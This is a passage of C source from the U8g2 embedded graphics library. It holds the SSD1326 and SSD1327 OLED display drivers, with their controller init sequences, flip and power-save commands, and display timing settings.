graphics accelleration: fill pixel */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ssd1326_256x32_nhd_powersave0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0af), /* display on */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ssd1326_256x32_nhd_powersave1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0ae), /* display off */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ssd1326_256x32_nhd_flip0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_CA(0x0a0, 0x006), /* remap 00110 */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ssd1326_256x32_nhd_flip1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ //U8X8_CA(0x0a0, 0x005), /* remap 00101 */ U8X8_CA(0x0a0, 0x001), /* remap 00001 */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; /* input: one tile (8 Bytes) output: Tile for ssd1326 (32 Bytes) */ static uint8_t u8x8_ssd1326_8to32_dest_buf[32]; static uint8_t *u8x8_ssd1326_8to32(U8X8_UNUSED u8x8_t *u8x8, uint8_t *ptr) { uint8_t v; uint8_t a,b; uint8_t i, j; uint8_t *dest; for( j = 0; j < 4; j++ ) { dest = u8x8_ssd1326_8to32_dest_buf; dest += j; a =*ptr; ptr++; b = *ptr; ptr++; for( i = 0; i < 8; i++ ) { v = 0; if ( a&1 ) v |= 0xf0; if ( b&1 ) v |= 0x0f; *dest = v; dest+=4; a >>= 1; b >>= 1; } } return u8x8_ssd1326_8to32_dest_buf; } static uint8_t u8x8_d_ssd1326_256x32_generic(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint8_t x, y, c; uint8_t *ptr; switch(msg) { /* handled by the calling function case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1326_256x32_nhd_display_info); break; */ case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1326_er_256x32_init_seq); break; case U8X8_MSG_DISPLAY_SET_POWER_SAVE: if ( arg_int == 0 ) u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1326_256x32_nhd_powersave0_seq); else u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1326_256x32_nhd_powersave1_seq); break; case U8X8_MSG_DISPLAY_SET_FLIP_MODE: if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1326_256x32_nhd_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1326_256x32_nhd_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } break; #ifdef U8X8_WITH_SET_CONTRAST case U8X8_MSG_DISPLAY_SET_CONTRAST: u8x8_cad_StartTransfer(u8x8); u8x8_cad_SendCmd(u8x8, 0x081 ); u8x8_cad_SendArg(u8x8, arg_int ); /* ssd1326 has range from 0 to 255 */ u8x8_cad_EndTransfer(u8x8); break; #endif case U8X8_MSG_DISPLAY_DRAW_TILE: u8x8_cad_StartTransfer(u8x8); x = ((u8x8_tile_t *)arg_ptr)->x_pos; x *= 4; y = (((u8x8_tile_t *)arg_ptr)->y_pos); y *= 8; y += u8x8->x_offset; /* x_offset is used as y offset for the ssd1326 */ do { c = ((u8x8_tile_t *)arg_ptr)->cnt; ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr; do { u8x8_cad_SendCmd(u8x8, 0x015 ); /* set column address */ u8x8_cad_SendArg(u8x8, x ); /* start */ u8x8_cad_SendArg(u8x8, x+3 ); /* end */ u8x8_cad_SendCmd(u8x8, 0x075 ); /* set row address */ u8x8_cad_SendArg(u8x8, y); u8x8_cad_SendArg(u8x8, y+7); u8x8_cad_SendData(u8x8, 32, u8x8_ssd1326_8to32(u8x8, ptr)); ptr += 8; x += 4; c--; } while( c > 0 ); //x += 4; arg_int--; } while( arg_int > 0 ); u8x8_cad_EndTransfer(u8x8); break; default: return 0; } return 1; } static const u8x8_display_info_t u8x8_ssd1326_256x32_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 20, /* pre_chip_disable_wait_ns = */ 15, /* reset_pulse_width_ms = */ 100, /* post_reset_wait_ms = */ 100, /**/ /* sda_setup_time_ns = */ 100, /* ssd1326 */ /* sck_pulse_width_ns = */ 100, /* ssd1326 */ /* sck_clock_hz = */ 4000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 40, /* write_pulse_width_ns = */ 60, /* ssd1326 */ /* tile_width = */ 32, /* tile_height = */ 4, /* default_x_offset = */ 0, /* x_offset is used as y offset for the ssd1326 */ /* flipmode_x_offset = */ 0, /* x_offset is used as y offset for the ssd1326 */ /* pixel_width = */ 256, /* pixel_height = */ 32 }; uint8_t u8x8_d_ssd1326_er_256x32(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { if ( msg == U8X8_MSG_DISPLAY_SETUP_MEMORY ) { u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1326_256x32_display_info); return 1; } return u8x8_d_ssd1326_256x32_generic(u8x8, msg, arg_int, arg_ptr); } ================================================ FILE: Bibliotecas/U8g2/src/clib/u8x8_d_ssd1327.c ================================================ /* u8x8_d_ssd1327.c Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2016, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "u8x8.h" static const uint8_t u8x8_d_ssd1327_96x96_powersave0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0af), /* display on */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ssd1327_96x96_powersave1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0ae), /* display off */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ssd1327_seeed_96x96_flip0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_CA(0x0a2, 0x020), /* display offset, shift mapping ram counter */ U8X8_CA(0x0a0, 0x051), /* remap configuration */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ssd1327_seeed_96x96_flip1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_CA(0x0a2, 0x060), /* display offset, shift mapping ram counter */ U8X8_CA(0x0a0, 0x042), /* remap configuration */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ssd1327_winstar_96x64_flip0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_CA(0x0a0, 0x042), /* remap configuration */ U8X8_CA(0x0a2, 0x000), /* display offset, shift mapping ram counter */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ssd1327_winstar_96x64_flip1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_CA(0x0a0, 0x051), /* remap configuration */ U8X8_CA(0x0a2, 0x040), /* display offset, shift mapping ram counter */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; /* input: one tile (8 Bytes) output: Tile for ssd1327 (32 Bytes) */ static uint8_t u8x8_ssd1327_8to32_dest_buf[32]; static uint8_t *u8x8_ssd1327_8to32(U8X8_UNUSED u8x8_t *u8x8, uint8_t *ptr) { uint8_t v; uint8_t a,b; uint8_t i, j; uint8_t *dest; for( j = 0; j < 4; j++ ) { dest = u8x8_ssd1327_8to32_dest_buf; dest += j; a =*ptr; ptr++; b = *ptr; ptr++; for( i = 0; i < 8; i++ ) { v = 0; if ( a&1 ) v |= 0xf0; if ( b&1 ) v |= 0x0f; *dest = v; dest+=4; a >>= 1; b >>= 1; } } return u8x8_ssd1327_8to32_dest_buf; } static uint8_t u8x8_d_ssd1327_96x96_generic(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint8_t x, y, c; uint8_t *ptr; switch(msg) { /* handled by the calling function case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1327_96x96_display_info); break; */ /* handled by the calling function case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1327_96x96_init_seq); break; */ case U8X8_MSG_DISPLAY_SET_POWER_SAVE: if ( arg_int == 0 ) u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1327_96x96_powersave0_seq); else u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1327_96x96_powersave1_seq); break; #ifdef U8X8_WITH_SET_CONTRAST case U8X8_MSG_DISPLAY_SET_CONTRAST: u8x8_cad_StartTransfer(u8x8); u8x8_cad_SendCmd(u8x8, 0x081 ); u8x8_cad_SendArg(u8x8, arg_int ); /* ssd1327 has range from 0 to 255 */ u8x8_cad_EndTransfer(u8x8); break; #endif case U8X8_MSG_DISPLAY_DRAW_TILE: u8x8_cad_StartTransfer(u8x8); x = ((u8x8_tile_t *)arg_ptr)->x_pos; x *= 4; x+=u8x8->x_offset/2; y = (((u8x8_tile_t *)arg_ptr)->y_pos); y *= 8; u8x8_cad_SendCmd(u8x8, 0x075 ); /* set row address, moved out of the loop (issue 302) */ u8x8_cad_SendArg(u8x8, y); u8x8_cad_SendArg(u8x8, y+7); do { c = ((u8x8_tile_t *)arg_ptr)->cnt; ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr; do { u8x8_cad_SendCmd(u8x8, 0x015 ); /* set column address */ u8x8_cad_SendArg(u8x8, x ); /* start */ u8x8_cad_SendArg(u8x8, x+3 ); /* end */ u8x8_cad_SendData(u8x8, 32, u8x8_ssd1327_8to32(u8x8, ptr)); ptr += 8; x += 4; c--; } while( c > 0 ); //x += 4; arg_int--; } while( arg_int > 0 ); u8x8_cad_EndTransfer(u8x8); break; default: return 0; } return 1; } /*=============================================*/ /* Winstar WEA009664B 96x64 OLED Display, 1.1 inch OLED https://www.winstar.com.tw/products/oled-module/graphic-oled-display/96x64-oled.html https://github.com/olikraus/u8g2/issues/1050 */ static const u8x8_display_info_t u8x8_ssd1327_winstar_96x64_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 20, /* pre_chip_disable_wait_ns = */ 10, /* reset_pulse_width_ms = */ 100, /* post_reset_wait_ms = */ 100, /**/ /* sda_setup_time_ns = */ 100, /* */ /* sck_pulse_width_ns = */ 100, /* */ /* sck_clock_hz = */ 4000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 1, /* use 1 instead of 4, because the SSD1327 seems to be very slow */ /* data_setup_time_ns = */ 40, /* write_pulse_width_ns = */ 60, /* tile_width = */ 12, /* tile_height = */ 8, /* default_x_offset = */ 16, /* changed to 16, issue 1050 */ /* flipmode_x_offset = */ 16, /* changed to 16, issue 1050 */ /* pixel_width = */ 96, /* pixel_height = */ 64 }; /* Write_Cmd(0xAE); //Set Display Off OK Write_Cmd(0x81); //Contrast Level OK Write_Cmd(0xdF); // VALUE WRONG???? Write_Cmd(0xD9); //Pre-charge Period Write_Cmd(0x00); Write_Cmd(0xA0); //Set Re-map OK Write_Cmd(0x42); //Default Setting OK Write_Cmd(0xA1); //Set Display Start Line OK Write_Cmd(0x00); OK Write_Cmd(0xA2); //Set Display Offset OK Write_Cmd(0x00); OK Write_Cmd(0xA4); //Set Display Mode OK Write_Cmd(0xA8); //Set Multiplex Ratio OK Write_Cmd(0x63); //Multiplex OK Write_Cmd(0xAB); //Set Function SelectionA OK Write_Cmd(0x01); OK Write_Cmd(0xB1); //Set Phase Length OK Write_Cmd(0x47); OK Write_Cmd(0xB3); //Set Display Clock Divide Ratio/Oscillator Frequency OK Write_Cmd(0x00); OK Write_Cmd(0xBC); //Set Prechange Voltage OK Write_Cmd(0x07); OK Write_Cmd(0xBE); //Set VCOMH Voltage OK Write_Cmd(0x07); OK Write_Cmd(0xB6); //Set Second Pre-charge period OK Write_Cmd(0x04); OK Write_Cmd(0xD5); //Set Function selection B OK Write_Cmd(0x62); OK Write_Cmd(0xAF); //Set Display On */ static const uint8_t u8x8_d_ssd1327_winstar_96x64_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_CA(0x0fd, 0x012), /* unlock display, usually not required because the display is unlocked after reset */ U8X8_C(0x0ae), /* display off */ U8X8_CA(0x0d9, 0x000), /* Pre-charge Period ??? */ U8X8_CA(0x0a0, 0x042), /* remap configuration */ U8X8_CA(0x0a1, 0x000), /* display start line */ U8X8_CA(0x0a2, 0x000), /* display offset, shift mapping ram counter */ U8X8_CA(0x0a8, 0x063), /* multiplex ratio: 63* 1/64 duty */ /* changed to hex, issue 1050 */ U8X8_CA(0x0ab, 0x001), /* Enable internal VDD regulator (RESET) */ U8X8_CA(0x081, 0x053), /* contrast, brightness, 0..128 */ U8X8_CA(0x0b1, 0x047), /* phase length */ //U8X8_CA(0x0b3, 0x001), /* set display clock divide ratio/oscillator frequency */ U8X8_CA(0x0b3, 0x000), /* set display clock divide ratio/oscillator frequency */ U8X8_C(0x0b9), /* use linear lookup table */ U8X8_CA(0x0bc, 0x007), /* pre-charge voltage level */ U8X8_CA(0x0be, 0x007), /* VCOMH voltage */ U8X8_CA(0x0b6, 0x004), /* second precharge */ U8X8_CA(0x0d5, 0x062), /* enable second precharge, internal vsl (bit0 = 0) */ U8X8_C(0x0a4), /* normal display mode */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; uint8_t u8x8_d_ssd1327_ws_96x64(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { if ( u8x8_d_ssd1327_96x96_generic(u8x8, msg, arg_int, arg_ptr) != 0 ) return 1; if ( msg == U8X8_MSG_DISPLAY_SETUP_MEMORY ) { u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1327_winstar_96x64_display_info); return 1; } else if ( msg == U8X8_MSG_DISPLAY_INIT ) { u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1327_winstar_96x64_init_seq); return 1; } else if ( msg == U8X8_MSG_DISPLAY_SET_FLIP_MODE ) { if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1327_winstar_96x64_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1327_winstar_96x64_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } return 1; } return 0; } /*=============================================*/ /* Seeedstudio Grove OLED 96x96 */ static const u8x8_display_info_t u8x8_ssd1327_96x96_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 20, /* pre_chip_disable_wait_ns = */ 10, /* reset_pulse_width_ms = */ 100, /* post_reset_wait_ms = */ 100, /**/ /* sda_setup_time_ns = */ 100, /* */ /* sck_pulse_width_ns = */ 100, /* */ /* sck_clock_hz = */ 4000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 1, /* use 1 instead of 4, because the SSD1327 seems to be very slow */ /* data_setup_time_ns = */ 40, /* write_pulse_width_ns = */ 60, /* tile_width = */ 12, /* tile_height = */ 12, /* default_x_offset = */ 16, /* flipmode_x_offset = */ 16, /* pixel_width = */ 96, /* pixel_height = */ 96 }; /* https://github.com/SeeedDocument/Grove_OLED_1.12/raw/master/resources/LY120-096096.pdf */ /* http://www.seeedstudio.com/wiki/index.php?title=Twig_-_OLED_96x96 */ /* values from u8glib */ /* Re-map setting in Graphic Display Data RAM, command 0x0a0 Bit 0: Column Address Re-map Bit 1: Nibble Re-map Bit 2: Horizontal/Vertical Address Increment Bit 3: Not used, must be 0 Bit 4: COM Re-map Bit 5: Not used, must be 0 Bit 6: COM Split Odd Even Bit 7: Not used, must be 0 */ static const uint8_t u8x8_d_ssd1327_96x96_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_CA(0x0fd, 0x012), /* unlock display, usually not required because the display is unlocked after reset */ U8X8_C(0x0ae), /* display off */ //U8X8_CA(0x0a8, 0x03f), /* multiplex ratio: 0x03f * 1/64 duty */ U8X8_CA(0x0a8, 0x05f), /* multiplex ratio: 0x05f * 1/64 duty */ U8X8_CA(0x0a1, 0x000), /* display start line */ //U8X8_CA(0x0a2, 0x04c), /* display offset, shift mapping ram counter */ U8X8_CA(0x0a2, 0x020), /* display offset, shift mapping ram counter */ U8X8_CA(0x0a0, 0x051), /* remap configuration */ U8X8_CA(0x0ab, 0x001), /* Enable internal VDD regulator (RESET) */ //U8X8_CA(0x081, 0x070), /* contrast, brightness, 0..128 */ U8X8_CA(0x081, 0x053), /* contrast, brightness, 0..128 */ //U8X8_CA(0x0b1, 0x055), /* phase length */ U8X8_CA(0x0b1, 0x051), /* phase length */ //U8X8_CA(0x0b3, 0x091), /* set display clock divide ratio/oscillator frequency (set clock as 135 frames/sec) */ U8X8_CA(0x0b3, 0x001), /* set display clock divide ratio/oscillator frequency */ //? U8X8_CA(0x0ad, 0x002), /* master configuration: disable embedded DC-DC, enable internal VCOMH */ //? U8X8_C(0x086), /* full current range (0x084, 0x085, 0x086) */ U8X8_C(0x0b9), /* use linear lookup table */ //U8X8_CA(0x0bc, 0x010), /* pre-charge voltage level */ U8X8_CA(0x0bc, 0x008), /* pre-charge voltage level */ //U8X8_CA(0x0be, 0x01c), /* VCOMH voltage */ U8X8_CA(0x0be, 0x007), /* VCOMH voltage */ U8X8_CA(0x0b6, 0x001), /* second precharge */ U8X8_CA(0x0d5, 0x062), /* enable second precharge, internal vsl (bit0 = 0) */ U8X8_C(0x0a4), /* normal display mode */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; uint8_t u8x8_d_ssd1327_seeed_96x96(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { if ( u8x8_d_ssd1327_96x96_generic(u8x8, msg, arg_int, arg_ptr) != 0 ) return 1; if ( msg == U8X8_MSG_DISPLAY_SETUP_MEMORY ) { u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1327_96x96_display_info); return 1; } else if ( msg == U8X8_MSG_DISPLAY_INIT ) { u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1327_96x96_init_seq); return 1; } else if ( msg == U8X8_MSG_DISPLAY_SET_FLIP_MODE ) { if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1327_seeed_96x96_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1327_seeed_96x96_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } return 1; } return 0; } /*=============================================*/ /* EA W128128 round OLED 128x128 */ /* issue #641 */ /* https://www.lcd-module.de/fileadmin/eng/pdf/grafik/W128128-XR.pdf */ static const u8x8_display_info_t u8x8_ssd1327_ea_w128128_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 20, /* pre_chip_disable_wait_ns = */ 10, /* reset_pulse_width_ms = */ 100, /* post_reset_wait_ms = */ 100, /**/ /* sda_setup_time_ns = */ 100, /* */ /* sck_pulse_width_ns = */ 100, /* */ /* sck_clock_hz = */ 4000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 1, /* use 1 instead of 4, because the SSD1327 seems to be very slow */ /* data_setup_time_ns = */ 40, /* write_pulse_width_ns = */ 60, /* tile_width = */ 16, /* tile_height = */ 16, /* default_x_offset = */ 0, /* flipmode_x_offset = */ 0, /* pixel_width = */ 128, /* pixel_height = */ 128 }; /* this is a copy of the init sequence for the seeed 96x96 oled */ static const uint8_t u8x8_d_ssd1327_ea_w128128_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_CA(0x0fd, 0x012), /* unlock display, usually not required because the display is unlocked after reset */ U8X8_C(0x0ae), /* display off */ //U8X8_CA(0x0a8, 0x03f), /* multiplex ratio: 0x03f * 1/64 duty */ U8X8_CA(0x0a8, 0x05f), /* multiplex ratio: 0x05f * 1/64 duty */ U8X8_CA(0x0a1, 0x000), /* display start line */ //U8X8_CA(0x0a2, 0x04c), /* display offset, shift mapping ram counter */ U8X8_CA(0x0a2, 0x010), /* display offset, shift mapping ram counter */ U8X8_CA(0x0a0, 0x051), /* remap configuration */ U8X8_CA(0x0ab, 0x001), /* Enable internal VDD regulator (RESET) */ //U8X8_CA(0x081, 0x070), /* contrast, brightness, 0..128 */ U8X8_CA(0x081, 0x053), /* contrast, brightness, 0..128 */ //U8X8_CA(0x0b1, 0x055), /* phase length */ U8X8_CA(0x0b1, 0x051), /* phase length */ //U8X8_CA(0x0b3, 0x091), /* set display clock divide ratio/oscillator frequency (set clock as 135 frames/sec) */ U8X8_CA(0x0b3, 0x001), /* set display clock divide ratio/oscillator frequency */ //? U8X8_CA(0x0ad, 0x002), /* master configuration: disable embedded DC-DC, enable internal VCOMH */ //? U8X8_C(0x086), /* full current range (0x084, 0x085, 0x086) */ U8X8_C(0x0b9), /* use linear lookup table */ //U8X8_CA(0x0bc, 0x010), /* pre-charge voltage level */ U8X8_CA(0x0bc, 0x008), /* pre-charge voltage level */ //U8X8_CA(0x0be, 0x01c), /* VCOMH voltage */ U8X8_CA(0x0be, 0x007), /* VCOMH voltage */ U8X8_CA(0x0b6, 0x001), /* second precharge */ U8X8_CA(0x0d5, 0x062), /* enable second precharge, internal vsl (bit0 = 0) */ U8X8_C(0x0a4), /* normal display mode */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ssd1327_ea_w128128_flip0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_CA(0x0a2, 0x000), /* display offset, shift mapping ram counter */ U8X8_CA(0x0a0, 0x051), /* remap configuration */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ssd1327_ea_w128128_flip1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_CA(0x0a2, 0x000), /* display offset, shift mapping ram counter */ U8X8_CA(0x0a0, 0x042), /* remap configuration */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; uint8_t u8x8_d_ssd1327_ea_w128128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { if ( u8x8_d_ssd1327_96x96_generic(u8x8, msg, arg_int, arg_ptr) != 0 ) return 1; if ( msg == U8X8_MSG_DISPLAY_SETUP_MEMORY ) { u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1327_ea_w128128_display_info); return 1; } else if ( msg == U8X8_MSG_DISPLAY_INIT ) { u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1327_ea_w128128_init_seq); return 1; } else if ( msg == U8X8_MSG_DISPLAY_SET_FLIP_MODE ) { if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1327_ea_w128128_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1327_ea_w128128_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } return 1; } return 0; } /*=============================================*/ /* MIDAS MCOT128128C1V-YM 128x128 Module */ static const u8x8_display_info_t u8x8_ssd1327_128x128_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 20, /* pre_chip_disable_wait_ns = */ 10, /* reset_pulse_width_ms = */ 100, /* post_reset_wait_ms = */ 100, /**/ /* sda_setup_time_ns = */ 100, /* */ /* sck_pulse_width_ns = */ 100, /* */ /* sck_clock_hz = */ 4000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 1, /* use 1 instead of 4, because the SSD1327 seems to be very slow, Update 9 Aug 2019: The OLED from aliexpress supports 400kHz */ /* data_setup_time_ns = */ 40, /* write_pulse_width_ns = */ 60, /* tile_width = */ 16, /* tile_height = */ 16, /* default_x_offset = */ 0, /* flipmode_x_offset = */ 0, /* pixel_width = */ 128, /* pixel_height = */ 128 }; /* https://github.com/SeeedDocument/Grove_OLED_1.12/raw/master/resources/LY120-096096.pdf */ /* http://www.seeedstudio.com/wiki/index.php?title=Twig_-_OLED_96x96 */ /* values from u8glib */ /* Re-map setting in Graphic Display Data RAM, command 0x0a0 Bit 0: Column Address Re-map Bit 1: Nibble Re-map Bit 2: Horizontal/Vertical Address Increment Bit 3: Not used, must be 0 Bit 4: COM Re-map Bit 5: Not used, must be 0 Bit 6: COM Split Odd Even Bit 7: Not used, must be 0 */ static const uint8_t u8x8_d_ssd1327_128x128_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_CA(0x0fd, 0x012), /* unlock display, usually not required because the display is unlocked after reset */ U8X8_C(0x0ae), /* display off */ //U8X8_CA(0x0a8, 0x03f), /* multiplex ratio: 0x03f * 1/64 duty */ //U8X8_CA(0x0a8, 0x05f), /* multiplex ratio: 0x05f * 1/64 duty */ U8X8_CA(0x0a8, 0x07f), /* multiplex ratio: 0x05f * 1/128duty */ U8X8_CA(0x0a1, 0x000), /* display start line */ //U8X8_CA(0x0a2, 0x04c), /* display offset, shift mapping ram counter */ U8X8_CA(0x0a2, 0x000), /* display offset, shift mapping ram counter */ U8X8_CA(0x0a0, 0x051), /* remap configuration */ U8X8_CA(0x0ab, 0x001), /* Enable internal VDD regulator (RESET) */ //U8X8_CA(0x081, 0x070), /* contrast, brightness, 0..128 */ U8X8_CA(0x081, 0x053), /* contrast, brightness, 0..128 */ //U8X8_CA(0x0b1, 0x055), /* phase length */ U8X8_CA(0x0b1, 0x051), /* phase length */ //U8X8_CA(0x0b3, 0x091), /* set display clock divide ratio/oscillator frequency (set clock as 135 frames/sec) */ U8X8_CA(0x0b3, 0x001), /* set display clock divide ratio/oscillator frequency */ //? U8X8_CA(0x0ad, 0x002), /* master configuration: disable embedded DC-DC, enable internal VCOMH */ //? U8X8_C(0x086), /* full current range (0x084, 0x085, 0x086) */ U8X8_C(0x0b9), /* use linear lookup table */ //U8X8_CA(0x0bc, 0x010), /* pre-charge voltage level */ U8X8_CA(0x0bc, 0x008), /* pre-charge voltage level */ //U8X8_CA(0x0be, 0x01c), /* VCOMH voltage */ U8X8_CA(0x0be, 0x007), /* VCOMH voltage */ U8X8_CA(0x0b6, 0x001), /* second precharge */ U8X8_CA(0x0d5, 0x062), /* enable second precharge, internal vsl (bit0 = 0) */ U8X8_C(0x0a4), /* normal display mode */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ssd1327_128x128_flip0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_CA(0x0a2, 0x000), /* 